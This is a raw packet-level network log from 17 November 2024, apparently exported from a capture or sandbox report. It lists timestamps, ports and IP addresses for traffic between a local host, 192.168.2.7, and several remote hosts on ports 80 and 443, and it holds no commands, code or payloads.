Nov 17, 2024 22:20:48.669671059 CET	60864	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.669675112 CET	443	60864	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.672771931 CET	443	60865	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.673122883 CET	60865	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.673150063 CET	443	60865	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.673531055 CET	60865	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.673537016 CET	443	60865	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.700582981 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.700625896 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.700663090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.700664043 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.700705051 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.700737000 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.700961113 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.701010942 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.701128006 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.701160908 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.701189995 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.701195955 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.701220036 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.701235056 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.709449053 CET	443	60866	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.710202932 CET	60866	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.710217953 CET	443	60866	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.710810900 CET	60866	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.710817099 CET	443	60866	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.732404947 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:48.732433081 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:48.732448101 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:48.732517958 CET	60830	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:48.732546091 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:48.732605934 CET	60830	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:48.733242989 CET	60830	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:48.733253002 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:48.733397961 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:48.733428001 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:48.733469963 CET	60830	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:48.733535051 CET	60830	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:48.733550072 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:48.743031025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.743050098 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.743067980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.743094921 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.743113041 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.743165970 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.743182898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.743197918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.743210077 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.743217945 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.743230104 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.743249893 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.743266106 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.743714094 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.743731022 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.743751049 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.743767023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.743769884 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.743788958 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.743810892 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.744163990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.744179964 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.744215965 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.753494024 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.753524065 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.753591061 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.753624916 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.753669024 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.776037931 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.776060104 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.776118040 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.776139975 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.776165962 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.776181936 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.776205063 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.776268959 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.776283979 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.776309013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.776319981 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.776345015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.776360989 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.776381969 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.776393890 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.776420116 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.776424885 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.776460886 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.776659012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.776695013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.776714087 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.776731014 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.776738882 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.776772976 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.776782990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.776817083 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.788110018 CET	443	60863	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.788212061 CET	443	60863	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.788316011 CET	60863	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.788717985 CET	60863	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.788732052 CET	443	60863	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.788743019 CET	60863	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.788748026 CET	443	60863	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.793639898 CET	60868	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.793670893 CET	443	60868	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.793735981 CET	60868	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.794012070 CET	60868	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.794023991 CET	443	60868	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.802095890 CET	443	60864	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.802150011 CET	443	60864	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.802195072 CET	443	60864	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.802328110 CET	60864	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.802445889 CET	60864	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.802460909 CET	443	60864	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.802496910 CET	60864	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.802503109 CET	443	60864	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.804774046 CET	443	60865	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.804852009 CET	443	60865	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.804992914 CET	60865	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.805006981 CET	443	60865	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.805035114 CET	60869	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.805068016 CET	443	60865	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.805087090 CET	443	60869	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.805124998 CET	60865	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.805289984 CET	60869	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.805504084 CET	60869	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.805516958 CET	443	60869	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.805644035 CET	60865	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.805660963 CET	443	60865	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.805676937 CET	60865	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.805681944 CET	443	60865	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.807205915 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.807270050 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.807271957 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.807322025 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.808645964 CET	60870	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.808657885 CET	443	60870	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.808830976 CET	60870	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.809535980 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.809557915 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.815962076 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.816001892 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.816026926 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.816039085 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.816045046 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.816085100 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.817290068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.817332029 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.817341089 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.817368984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.817369938 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.817440033 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.817662001 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.817696095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.817727089 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.817730904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.817739964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.817820072 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.817850113 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.817868948 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.817893982 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.818475962 CET	60870	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.818504095 CET	443	60870	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.840806961 CET	443	60866	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.840893984 CET	443	60866	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.841104984 CET	60866	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.859720945 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.859762907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.859800100 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.859834909 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.859858036 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.859869957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.859905005 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.859905958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.859930038 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.859951973 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.860212088 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.860245943 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.860269070 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.860281944 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.860291958 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.860327005 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.860543013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.860577106 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.860596895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.860610962 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.860621929 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.860655069 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.870199919 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.870265007 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.870317936 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.870363951 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.870392084 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.872235060 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.886357069 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.886387110 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.886615992 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.889864922 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.889878035 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.891217947 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.891277075 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.891310930 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.891330004 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.891372919 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.893032074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.893088102 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.893125057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.893126965 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.893126965 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.893162012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.893188953 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.893217087 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.893261909 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.893296957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.893301964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.893332958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.893342972 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.893444061 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.893485069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.893533945 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.902223110 CET	60866	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.902223110 CET	60866	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.902234077 CET	443	60866	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.902240992 CET	443	60866	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.932868958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.932914972 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.932956934 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.932965994 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.933012962 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.933809996 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.933828115 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.933856964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.933865070 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.933870077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.933911085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.933922052 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.933938026 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.933957100 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.933971882 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.933979034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.934001923 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.934078932 CET	60872	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.934106112 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.934168100 CET	60872	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.934382915 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.934423923 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.934438944 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.934456110 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.934456110 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.934469938 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.935223103 CET	60872	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.935235023 CET	443	60872	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.942389011 CET	60873	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:48.942409039 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:48.942523956 CET	60873	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:48.944000959 CET	60873	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:48.944015026 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:49.252223015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252264023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252300024 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252310991 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252336025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252346992 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252346992 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252367020 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252413034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252425909 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252465010 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252481937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252511024 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252527952 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252546072 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252556086 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252582073 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252588987 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252615929 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252620935 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252659082 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252660036 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252695084 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252711058 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252734900 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252768040 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.252795935 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.252821922 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253000975 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253077984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253113031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253115892 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253132105 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253149986 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253165960 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253195047 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.253202915 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253227949 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.253238916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253241062 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253273010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253277063 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253277063 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.253283024 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.253309011 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253314018 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253315926 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.253329039 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.253339052 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253344059 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253349066 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.253369093 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253379107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253393888 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.253411055 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253412962 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253443003 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253447056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.253457069 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.253496885 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.255584002 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.255619049 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.255645990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.255656004 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.255659103 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.255671024 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.255695105 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.255701065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.255717993 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.255738974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.255748987 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.255783081 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.255790949 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.255825996 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.255861998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.255872965 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.255894899 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.255904913 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.255928040 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.255930901 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.255983114 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.255995989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.256027937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.256074905 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.256747007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.256776094 CET	80	60797	185.215.113.206	192.168.2.7
